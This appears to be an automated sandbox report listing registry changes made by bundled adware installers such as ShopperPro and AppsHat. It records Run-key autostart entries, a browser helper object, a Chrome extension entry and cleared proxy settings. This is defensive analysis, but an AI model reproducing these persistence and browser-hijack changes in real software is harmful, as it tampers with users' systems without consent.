[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process wpm_v20.0.0.1714_0204.exe:3864 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process 3EB4.tmp:880 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process appshat_generic.exe:504 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "AC 96 03 05 E6 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F1 05 22 08 E6 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F1 05 22 08 E6 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

The process testlsp.exe:3364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423540771"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "83 87 CC FA E5 44 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423540771"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process 0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:4736 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\nwzpfH welvJF7rAcoE1Y7aJB1jRywGEHZjP9pjijw/HbLEmeDA4DwA8eg WKwP1Kn1iMJ9XGAZbMmf3FwsteCk8U5AiyPQCptmuFLYfzdHzR2qSAzXHO39bwJqKAQLLoU/8vOPnlbZtNyn6mFAW3egLpQvIr4trghs93gnJUco=]
"pRXjRliBUANFrcl23tEyb8IogLR1FRFot5vjF48J0tWRzJVCN937y6Z/3ZEz85gwxW462/ k//7F7Yfn3CN5Jys8dkWxTaDqLEjIWpGzDlfMnu96Bhe1dbAExOxVR7GWSudh4bZdP/e1OeTrIxmv6Vv41lpRClYV5TqeHrtAmE0=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\ghJ5b2ve8wBGwCV MkkWfW6/PlpAakXapRUGi13gy9gutSSQ9XAy5gKFQmcoo6aDhg2HOJ8TC1dXq9M0AEm7yxu0uC9M6g2qnVZ/oKwQKCH2ioC/qGCInBWDeI72yfJZJSL4j3lrwpD1wtlZaT5TyqUHr0Z9W58/4gyHiz7nxaY=]
"TO5VocrkaBPE0NMD7PqGSgxYGe3Q7i ZyqAm7j7K/1gI9Pe7FPuzgZo7wQf Au84JT7lD8aRn5r5FIX1QZ8wSfwnWscK9i0E3ybw4Nuvj1WcAfP7Bgp4zM 3p 6RyHwC3rephqFxdzj60awu VgxEtow2XqspmTBtjlYJj9LG0M=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process powershell.exe:2568 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:2620 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:316 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3500 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process setup.exe:2528 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "71 A9 EB F3 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\422.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "5E CA 5B F7 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "5E CA 5B F7 E5 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process STab_Down_6.0.6.8.exe:200 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cmdshell.exe:2052 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:1724 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "9A 76 FB F0 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "71 A9 EB F3 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "71 A9 EB F3 E5 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ShopperPro.exe:2152 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "e5f8ccfa-064a-4525-b909-9b89e346b6d9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "14 0F 96 EE E5 44 D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.6.8418.1498"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "9A 76 FB F0 E5 44 D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1498.0.0.0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "9A 76 FB F0 E5 44 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process WebPlayer.exe:3960 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351234145"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
